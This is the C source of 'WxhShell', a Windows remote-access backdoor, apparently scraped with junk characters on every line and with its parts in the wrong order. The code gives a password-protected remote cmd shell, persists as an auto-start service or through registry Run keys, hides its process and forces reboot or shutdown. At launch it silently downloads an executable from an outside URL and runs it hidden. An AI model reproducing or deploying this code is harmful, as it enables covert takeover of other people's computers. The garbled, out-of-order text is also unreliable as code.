  // 关机 mqiCn]8G  
  case 'd': { =ibKdPtTh^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L; <Pod  
    if(Boot(SHUTDOWN)) IkQ,#Bsb[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bFJ>+ {#  
    else { 9Wdx"g52_D  
    closesocket(wsh); r$,Xv+}  
    ExitThread(0); zOis}$GR  
    } Z jXn,W]~  
    break; 35fj-J$8  
    } 2>xEE  
  // 获取shell H$6;{IUz~  
  case 's': { I8\R7s3  
    CmdShell(wsh); ZD4:'m`T/  
    closesocket(wsh); sTxbh2  
    ExitThread(0); mwF{z.t"  
    break; !" @<!  
  } :79u2wSh  
  // 退出 ]'0}fuV  
  case 'x': { <Q_E3lQy/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 48.4GwL7  
    CloseIt(wsh); 1CS\1[E  
    break; i8=+ <d  
    } *^ua2s.  
  // 离开 2 yRUw  
  case 'q': { ixB"6O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'lOpoWDL  
    closesocket(wsh); c']m5q39'  
    WSACleanup(); :{ai w?1  
    exit(1); +O7GgySx  
    break; HzAw rC  
        } S|m|ulB  
  } P o\d!  
  } V"KuwM  
`F_R J.g*p  
  // 提示信息 WFvVu3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Dt'bbX'edw  
} aoGns46Y  
  } <}}u'5;^?x  
*d-JAE  
  return; C-^8;xd  
} z7&m,:M  
=RHIB1  
// shell模块句柄 l(8@?t^;  
int CmdShell(SOCKET sock) #d$lN}8  
{ r>6FJ:Tx  
STARTUPINFO si; ]#W9l\  
ZeroMemory(&si,sizeof(si)); 6U1_Wk?   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <9S5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; QvlV jDIy  
PROCESS_INFORMATION ProcessInfo; yL23 Nqe  
char cmdline[]="cmd"; j/1 f|x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z5@E|O&  
  return 0; (bD#PQXzm  
} ?BU?c:"f  
oKPG0iM:  
// 自身启动模式 @u:q#b  
int StartFromService(void) &pH XSU  
{  8(}cbW  
typedef struct b.cBg.a  
{ 5 axt\  
  DWORD ExitStatus; ]<u%jTQREd  
  DWORD PebBaseAddress; C-&s$5MzGb  
  DWORD AffinityMask; \cHF V  
  DWORD BasePriority; _:KeSskuO  
  ULONG UniqueProcessId; D&D-E~b^  
  ULONG InheritedFromUniqueProcessId; -=qHwcId  
}   PROCESS_BASIC_INFORMATION; O:#/To'  
Z OqD.=O(  
PROCNTQSIP NtQueryInformationProcess; LRSt >; M  
L#N ]1#;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lN*"?%<x>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /{-J_+u*%  
-`PLewvX  
  HANDLE             hProcess; >j&k:  
  PROCESS_BASIC_INFORMATION pbi; Mz;KXP  
*~d<]U5h  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,v#3A7"yW  
  if(NULL == hInst ) return 0; 0hq\{pw_y*  
8TYoa:pZ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <m%ZDOMa  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m" ]VQnQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q}1qt4xy*  
-#r=  
  if (!NtQueryInformationProcess) return 0; 'K|F{K  
4Dasj8GsV  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pJ/{X=y  
  if(!hProcess) return 0; +ux`}L(  
1/A|$t[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5qkyi]/U8  
xiF}{25a  
  CloseHandle(hProcess); v3cLU7bi?2  
/Y [ b8f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $I9U.~*  
if(hProcess==NULL) return 0; nQG<OVRClS  
yjM!M|  
HMODULE hMod; 8L*#zaSAf  
char procName[255]; ~31-)*tJ]  
unsigned long cbNeeded; 4\ny]A:~  
?_. SV g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Pxgal4{6  
)ZpMB  
  CloseHandle(hProcess); uC2qP)m,^  
DN;$ ->>  
if(strstr(procName,"services")) return 1; // 以服务启动 9+~1# |  
=27ZY Z  
  return 0; // 注册表启动 ' ?EG+o8  
} (i-L:  
Iv?1XI=  
// 主模块 ix 5\Y  
int StartWxhshell(LPSTR lpCmdLine) [!4V_yOb  
{ 4hW:c0  
  SOCKET wsl; tD]vx`0>  
BOOL val=TRUE; (mx}6A  
  int port=0; 8x9;3{R   
  struct sockaddr_in door; #y1M1Og  
Jjh=zxR>  
  if(wscfg.ws_autoins) Install(); VgMuX3=  
0kaMYV?  
port=atoi(lpCmdLine); ^ j<2s"S  
}p*WH$!~  
if(port<=0) port=wscfg.ws_port; /km0[M  
L tK,_j  
  WSADATA data; 7+rroCr"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $^W|@et{ ]  
>skl-f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t!0 IQ9\[*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gKRlXVS  
  door.sin_family = AF_INET; |j4;XaG)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _ + >V(,{G  
  door.sin_port = htons(port); _ FN#Vq2  
Qi|k,1A0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y~ wN:  
closesocket(wsl); yg"FF:^T  
return 1; Q>uJ:[x+  
} R)%I9M,  
~_ko$(;A  
  if(listen(wsl,2) == INVALID_SOCKET) { && WEBQ  
closesocket(wsl); r`PD}6\  
return 1; +SkfT4*U  
} ePTxuCf>  
  Wxhshell(wsl); >vNE3S_  
  WSACleanup(); $Eo-58<q  
s2 $w>L  
return 0; 2=X.$&a  
t5EYu*  
} [\=1|t5n~  
u`u{\ xN9  
// 以NT服务方式启动 ^h"@OEga?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c`7dNx  
{ GsIqUM#R  
DWORD   status = 0; JY$;m3h  
  DWORD   specificError = 0xfffffff; yRt7&,}zL  
MkM`)g 5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #X0Y8:vj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1c4:'0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %5j*e  
  serviceStatus.dwWin32ExitCode     = 0; 2QKt.a  
  serviceStatus.dwServiceSpecificExitCode = 0; z!)@`?  
  serviceStatus.dwCheckPoint       = 0; E+Dcw  
  serviceStatus.dwWaitHint       = 0; v R ! y#  
4C9k0]k2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6e"Lod_ L  
  if (hServiceStatusHandle==0) return; :71St '  
|^OK@KdL1  
status = GetLastError(); Uq.hCb`:  
  if (status!=NO_ERROR) B9]bv]  
{ ]i8t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .v['INK9  
    serviceStatus.dwCheckPoint       = 0; Jl ?_GX}ZY  
    serviceStatus.dwWaitHint       = 0; ^(7Qz&q  
    serviceStatus.dwWin32ExitCode     = status; p-,Bq!aG$  
    serviceStatus.dwServiceSpecificExitCode = specificError; *Z3b6X'e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /$|-!e<5b\  
    return; o>HGfr,N  
  } |q Pu*vR  
2 e&M/{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "1rT> ASWI  
  serviceStatus.dwCheckPoint       = 0; [NbW"Y7  
  serviceStatus.dwWaitHint       = 0; BVS SO's  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t_\&LMD  
} H"wIa8A  
 Rp6q)  
// 处理NT服务事件,比如:启动、停止 =|H.r9-PK6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }w{E<C(M  
{ x}#N?d  
switch(fdwControl) 2g;Id.i>  
{ i>(TPj|  
case SERVICE_CONTROL_STOP: /b410NP5  
  serviceStatus.dwWin32ExitCode = 0; 1+qP7 3a^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u"DE?  
  serviceStatus.dwCheckPoint   = 0; CM)V^k*  
  serviceStatus.dwWaitHint     = 0; <>V~  
  { Ka$lNL3<j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s $ ?;C  
  } [ZS.6{vr  
  return; AL|3_+G  
case SERVICE_CONTROL_PAUSE: 7nZ3u _~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Nwk^r75lq  
  break; \Npvm49  
case SERVICE_CONTROL_CONTINUE: ow#8oUf=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -cP1,>Ahv  
  break; 0+AMN-  
case SERVICE_CONTROL_INTERROGATE: N\Ab0mDOV.  
  break; ;&MnPFmq  
}; `k(m2k ?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kv<(N  
} As j<u!L  
j? Vs"d|  
// 标准应用程序主函数 ts r{-4V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o+Q2lO5  
{ -0<ZN(?|  
SUD~@]N1  
// 获取操作系统版本 :)%cL8Nz]$  
OsIsNt=GetOsVer(); Yh{5O3(;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x\YVB',h  
So4#n7  
  // 从命令行安装 $dug"[  
  if(strpbrk(lpCmdLine,"iI")) Install(); kkXe=f%  
w4l]rH  
  // 下载执行文件 4|DN^F~iut  
if(wscfg.ws_downexe) { JY3!jtv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n D}<zj$D2  
  WinExec(wscfg.ws_filenam,SW_HIDE); !wKiMgLS  
} ;Pvnhy  
E CPSE {  
if(!OsIsNt) { ZHCrKp  
// 如果时win9x,隐藏进程并且设置为注册表启动 iDYm4sY  
HideProc(); M%s!qC+  
StartWxhshell(lpCmdLine); )/Oldyp  
} gl!ht@;>ak  
else {~#d_!(  
  if(StartFromService()) =nlj|S ~3  
  // 以服务方式启动 ^cuH\&&7  
  StartServiceCtrlDispatcher(DispatchTable); /'^ BH A|h  
else "tu*(>'~5  
  // 普通方式启动 W!1 B~NH#  
  StartWxhshell(lpCmdLine); k7M{+X6[  
7**zO3 H  
return 0; ::@JL  
} z2q!_ ~  
kH=qJ3Z  
!04 ^E  
_S CY e  
=========================================== |*L/ m0'L  
845\u&  
(@S 9>z4s  
,<[x9 "3\  
TJuS)AZ C  
/mwDVP<z /  
" S5~(3I )v  
GqgJ]m  
#include <stdio.h> e' |c59E  
#include <string.h> 2hTsjJ!'  
#include <windows.h> ]NKz5[9D  
#include <winsock2.h> EW/NH&{  
#include <winsvc.h> 'lmjZ{k  
#include <urlmon.h> l !ZzJ&  
muO;g&  
#pragma comment (lib, "Ws2_32.lib") ^tVIPH.R  
#pragma comment (lib, "urlmon.lib") +y][s{A  
S e(apQH  
#define MAX_USER   100 // 最大客户端连接数 &+GbklUB~  
#define BUF_SOCK   200 // sock buffer !ED,'d%J  
#define KEY_BUFF   255 // 输入 buffer 5xa!L@)`wF  
S4OOm[8  
#define REBOOT     0   // 重启 J$-1odL0Z  
#define SHUTDOWN   1   // 关机 jI$7vmO  
ZL9|/ PY  
#define DEF_PORT   5000 // 监听端口 ,.&D{ $1W  
3w! NTvp  
#define REG_LEN     16   // 注册表键长度 z'0 =3  
#define SVC_LEN     80   // NT服务名长度 S(:|S(  
Az/P;C=  
// 从dll定义API k0xm-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @"m+9ZY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h{ eQ\iI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8'u,}b)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rEs!gGNN  
{wD "|K  
// wxhshell配置信息 P5'VLnE R{  
struct WSCFG { ?l`|j*  
  int ws_port;         // 监听端口 \*c=bz&l  
  char ws_passstr[REG_LEN]; // 口令 s*vtCdrE.  
  int ws_autoins;       // 安装标记, 1=yes 0=no .C1g Dry]  
  char ws_regname[REG_LEN]; // 注册表键名 pWKI^S  
  char ws_svcname[REG_LEN]; // 服务名 #?~G\Ux0/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,Uy~O(F t  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zhU^~4F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g5 y*-t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^;@!\Rc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =E&1e;_xlE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e(9K.3 @{  
e{.P2rnh  
}; xP 3>8Y  
> Qh#pn*  
// default Wxhshell configuration -U@ycx|r  
struct WSCFG wscfg={DEF_PORT, UiZ1$d*  
    "xuhuanlingzhe", ?y^ ix+ M  
    1, IOl0=+p  
    "Wxhshell", y <P1VES  
    "Wxhshell", `Vh&XH\S  
            "WxhShell Service", ;\iu*1>Z,&  
    "Wrsky Windows CmdShell Service", @! jpJ}  
    "Please Input Your Password: ", Y }8HJTMB  
  1, DhG{hQ[[  
  "http://www.wrsky.com/wxhshell.exe", @>[3 [;  
  "Wxhshell.exe" B:)vPO+ d  
    }; %3q7i`AZ  
RR>G}u9 np  
// 消息定义模块 h5[.G!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^!SwY_>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; = Ru q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !1P<A1K  
char *msg_ws_ext="\n\rExit."; t0)hd X  
char *msg_ws_end="\n\rQuit."; mm N $\2  
char *msg_ws_boot="\n\rReboot..."; 5(y Q-/6C+  
char *msg_ws_poff="\n\rShutdown..."; ?#L5V'ZZ*  
char *msg_ws_down="\n\rSave to "; l{. XhB  
5NMju!/  
char *msg_ws_err="\n\rErr!"; X{qa|6S,F  
char *msg_ws_ok="\n\rOK!"; &l W~ot1,  
7Y^2JlZu=  
char ExeFile[MAX_PATH]; 'zuA3$SR  
int nUser = 0; Q5;EQ .#  
HANDLE handles[MAX_USER]; ?<soX8_1  
int OsIsNt; L(BL_  
AUR{O  
SERVICE_STATUS       serviceStatus; >F/5`=/'h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; j7C&&G q  
g+=f=5I3  
// 函数声明 ,m)YL>k  
int Install(void); ~uJO6C6A  
int Uninstall(void); i\\,Z L  
int DownloadFile(char *sURL, SOCKET wsh); `_M&zN  
int Boot(int flag); kk aS&r>  
void HideProc(void); 8FBXdk?A  
int GetOsVer(void); </qli-fXB}  
int Wxhshell(SOCKET wsl); E\~!E20^  
void TalkWithClient(void *cs); 2}.EFQp+  
int CmdShell(SOCKET sock); k7bfgb {  
int StartFromService(void); M\=/i\-  
int StartWxhshell(LPSTR lpCmdLine); _^Q =n>G  
*l'5z)]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m# I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); u]t#Vf-$u  
y-vB C3  
// 数据结构和表定义 .T7S1C $HP  
SERVICE_TABLE_ENTRY DispatchTable[] =  Qs\!Kk@  
{ t%30B^Ii%K  
{wscfg.ws_svcname, NTServiceMain}, $:*/^)L  
{NULL, NULL} )}T0SGY  
}; YXTd^M~@D  
qF4pTQf  
// 自我安装 @4j!M1} 4  
int Install(void) |?<r  
{ )cxML<j'  
  char svExeFile[MAX_PATH]; o%?~9rf]]  
  HKEY key; RhumNP<M  
  strcpy(svExeFile,ExeFile); {b26DKkQS  
tfq; KR  
// 如果是win9x系统,修改注册表设为自启动 AO^c=^  
if(!OsIsNt) { Z$ Mc{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GZNfx8zsY+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u[1'Ap  
  RegCloseKey(key); v/}h y$7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7Dwf0Re`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gX *i"Y#  
  RegCloseKey(key); ^[-3qi  
  return 0; -$5nqaK?  
    } rTLo6wI  
  } . g95E<bd  
} _;`g*Kx  
else { .eM A*C~n  
>-<7 r?~  
// 如果是NT以上系统,安装为系统服务 99..]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [[9XqD]  
if (schSCManager!=0) RF.8zea{O`  
{ tz"zQC$  
  SC_HANDLE schService = CreateService <bxp/#6D  
  ( 5K %  
  schSCManager, 5_ioJ   
  wscfg.ws_svcname, vaUUesytt  
  wscfg.ws_svcdisp, qECta'b&  
  SERVICE_ALL_ACCESS, ]NgEN  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F B7.b  
  SERVICE_AUTO_START, =f{YwtG  
  SERVICE_ERROR_NORMAL, {`CmE/`{  
  svExeFile, E0Jk=cq  
  NULL, # ~T K C|G  
  NULL, Af_yb`W?  
  NULL, 9a0ibN6m  
  NULL,  h2]gA_T`  
  NULL dJwE/s  
  ); ![#>{Q4i  
  if (schService!=0) Rt10:9Kz$  
  { 3"J85V%h]n  
  CloseServiceHandle(schService); l\{{iAC]I  
  CloseServiceHandle(schSCManager); 5 NdIbC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iH""dtO  
  strcat(svExeFile,wscfg.ws_svcname); BSib/)p   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QUU'/e2^c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &lYe  
  RegCloseKey(key); *wetPt)~v_  
  return 0; x nm!$ $W  
    } G.#sX  
  } \@i4im@%xU  
  CloseServiceHandle(schSCManager); dF/HKBJ  
} 4Sxt<7[f  
} lGAKHCs  
/>\6_kT  
return 1; K<Qy1y~[  
} >*aqYNft  
9F^rXY.  
// 自我卸载 UjI -<|  
int Uninstall(void) SYsbe 5j  
{ ?yqTLj  
  HKEY key; N N;'QiE  
]aF!0Fln~  
if(!OsIsNt) { 2gnmk TyF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZhpbbS  
  RegDeleteValue(key,wscfg.ws_regname); Z#P:C":e  
  RegCloseKey(key); -N]%) Hy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l /\n7:  
  RegDeleteValue(key,wscfg.ws_regname); M;Dk$B{;R  
  RegCloseKey(key); EsR$H2"  
  return 0; '6&a8&:  
  } 9s}y*Vp  
} BCtm05  
} 8S_v} NUm  
else { u4UQMj|q  
)Cm7v@B   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4Cdl^4(LT  
if (schSCManager!=0) !{, `h<  
{ H tu}M8/4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); oTqv$IzqP  
  if (schService!=0) PLmf.hD\  
  { v!EE[[  
  if(DeleteService(schService)!=0) { Q7b$j\;I  
  CloseServiceHandle(schService); _;1H2o2f  
  CloseServiceHandle(schSCManager); C_JDQByfL  
  return 0; JM-rz#;1  
  } _(Qec?[^Ps  
  CloseServiceHandle(schService); fq2t^c|$  
  } f\~OG#AaX  
  CloseServiceHandle(schSCManager); }dt7n65  
} ~3u'=u9l  
} pl{Pur ;i  
BbqH02i  
return 1;  #nS  
} j>70AE3[8  
~20O&2  
// 从指定url下载文件 3LaqEj  
int DownloadFile(char *sURL, SOCKET wsh) /?,c4K,ap  
{ psHW(Z8G  
  HRESULT hr; oMj;9,WK'  
char seps[]= "/"; JNYFu0  
char *token; 5#SD$^  
char *file; /v,H%8S  
char myURL[MAX_PATH]; ~J Xqyw}  
char myFILE[MAX_PATH]; p+F{iMC  
3:;2Av2(X.  
strcpy(myURL,sURL); j\Z/R1RcW  
  token=strtok(myURL,seps); 9. 7XRxR^  
  while(token!=NULL) )j[rm   
  { Alsr6uLT1  
    file=token; mz~aSbb|  
  token=strtok(NULL,seps); i9FHEu_  
  } 8 )w75+&  
zu~E}  
GetCurrentDirectory(MAX_PATH,myFILE); E9L)dMZSpj  
strcat(myFILE, "\\"); UaQR0,#0y  
strcat(myFILE, file); :i4>&4j  
  send(wsh,myFILE,strlen(myFILE),0); %0z&k!P  
send(wsh,"...",3,0); SbLx`]rI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =h4* ^NJ  
  if(hr==S_OK) l$_Yl&!q$  
return 0;  3O:gZRxK  
else N!fTt,  
return 1; 1qw*mV;W)_  
]i3 1@O  
} 3',|HA /x  
}BpCa6SAs  
// 系统电源模块 lUR7zrwJ]o  
int Boot(int flag) q DQ$Zq[  
{ R0n# FL^E  
  HANDLE hToken; St6U  
  TOKEN_PRIVILEGES tkp; YuZxKuGy  
@GB~rfB[  
  if(OsIsNt) { XCGJ~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [a&|c%h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jo.Sg:7&  
    tkp.PrivilegeCount = 1;  !XvQm*1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Myj 68_wf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7>a-`"`O  
if(flag==REBOOT) { Ri}n0}I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $LLy#h?V]  
  return 0; >^8=_i !  
} =c-,uW11[  
else { 1?6;Oc^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [HKTXF{n  
  return 0; f\ wP}c'  
} d{UyiZm\  
  } ^b{w\HZ  
  else { Wn(pz)+Y  
if(flag==REBOOT) { _7AR2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5/:BtlFx  
  return 0; VPB,8zb ]  
} ~v 2E<S3  
else { +w ;2kw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A{5^A)$  
  return 0; *20$u% z2  
} <_S>-;by  
} l@x/{0  
,Qgxf';+$  
return 1; y^o*wz:D*  
} bIR AwktD  
Q1fJ`A=  
// win9x进程隐藏模块 q F \a]e  
void HideProc(void) 7j&iHL  
{ #|\NG  
nV|H5i;N7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eB`7C"Z  
  if ( hKernel != NULL ) K[%)_KW  
  { ,DN>aEu1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;TAf[[P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HQ8oOn  
    FreeLibrary(hKernel); nQ/R,+6h  
  } fh0a "#L{  
pq 4/>WzE  
return; $"d< F3k  
} 2L#$WuM~^  
LRqBP|bjCD  
// 获取操作系统版本 U2=PmS P  
int GetOsVer(void) < sJ  
{ (p2jigP7a[  
  OSVERSIONINFO winfo; XY[uyR4Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vI<n~FHt  
  GetVersionEx(&winfo); >a@c5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9oly=&lJ  
  return 1; ^Z:oCTOP  
  else W0]W[b,:u$  
  return 0; Gz]p2KBg  
} `u%`N j  
jl;%?bx  
// 客户端句柄模块 iRo/~(  
int Wxhshell(SOCKET wsl) ""GeO%J8  
{ R^`#xQ  
  SOCKET wsh; S\"/=|\  
  struct sockaddr_in client; ZGUhje!  
  DWORD myID; G+^Q _w  
gpBpG  
  while(nUser<MAX_USER) ^-, aB  
{ UN7>c0B  
  int nSize=sizeof(client); "r6DZi(^K  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1m*fkM#  
  if(wsh==INVALID_SOCKET) return 1; 01n5]^.p  
+Ar=89  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "~y@rqIba  
if(handles[nUser]==0) ]] R*sd*  
  closesocket(wsh); ?0>% a$`  
else S]kY'(V(*  
  nUser++; J2\%rb,  
  } [FHSFr E,5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Q+ r4  
1(z&0Y;  
  return 0; t(-`==.R  
} J. ;9-  
:wn9bCom?M  
// 关闭 socket f%Y'7~9bA  
void CloseIt(SOCKET wsh) a?4'',~  
{ Nwu,:}T  
closesocket(wsh); (^fiw%#  
nUser--; C]ev"Am_)  
ExitThread(0); W 7k\j&x  
} 1+1Z]!nG#!  
_~?N3G  
// 客户端请求句柄 C NDf&dzX8  
void TalkWithClient(void *cs) [89qg+z  
{ K3QE>@']  
0Q^a*7w`8a  
  SOCKET wsh=(SOCKET)cs; x7qVLpcL3z  
  char pwd[SVC_LEN]; }@ Nurs)%_  
  char cmd[KEY_BUFF]; b5kw*h+/'h  
char chr[1]; C?v_ig  
int i,j; [<;4$}f\  
6xk~Bt  
  while (nUser < MAX_USER) { v7?sXW  
}P8@\2@=T  
if(wscfg.ws_passstr) { ;Kq/[$~0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \ W3\P=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gxry?':  
  //ZeroMemory(pwd,KEY_BUFF); U$; FOl  
      i=0; BU-m\Kf)  
  while(i<SVC_LEN) { ^oNk}:>  
0/7y&-/(  
  // 设置超时 =YZyH4eI  
  fd_set FdRead; ?}y{tav=  
  struct timeval TimeOut; y:6&P6`dx  
  FD_ZERO(&FdRead); N*~G ]  
  FD_SET(wsh,&FdRead); {U:c95#.!S  
  TimeOut.tv_sec=8; }}AooziH9  
  TimeOut.tv_usec=0; aJ[K'5|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  3z^l  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X2avo|6e  
F`W8\u'db  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 739J] M  
  pwd=chr[0]; E;[ANy4L  
  if(chr[0]==0xd || chr[0]==0xa) { V2< 4~J2:9  
  pwd=0; m_{?py@tZ  
  break; . zM  
  } OGgP~hd  
  i++; Tk[`kmb  
    } 'Xl[ y  
,L iX  
  // 如果是非法用户,关闭 socket de.!~%D  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %kM|Hk3d  
} [i7Ug.Oi"  
L B:wo .X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J&%d(EJM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U%2[,c_  
_wa1R+`_  
while(1) { H{Zfbb  
ES~ykE  
  ZeroMemory(cmd,KEY_BUFF); Ey5E1$w%&  
Z:Hk'|q}I  
      // 自动支持客户端 telnet标准   A"wor\(  
  j=0; Q+d9D1b  
  while(j<KEY_BUFF) { dW3q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Dps0$f c  
  cmd[j]=chr[0]; a78&<  
  if(chr[0]==0xa || chr[0]==0xd) { 39s%CcI`k  
  cmd[j]=0; (A.%q1h  
  break; _7?LINF9  
  } aE0yO#=   
  j++; 2jQ|4$9j  
    } [C@0&[[  
n@9*>D U  
  // 下载文件 <mE)& 7C  
  if(strstr(cmd,"http://")) { ]YF[W`2h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :OC`X~}Rc  
  if(DownloadFile(cmd,wsh)) }nrl2yp:%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); y99 3uP   
  else %T3L-{s5  
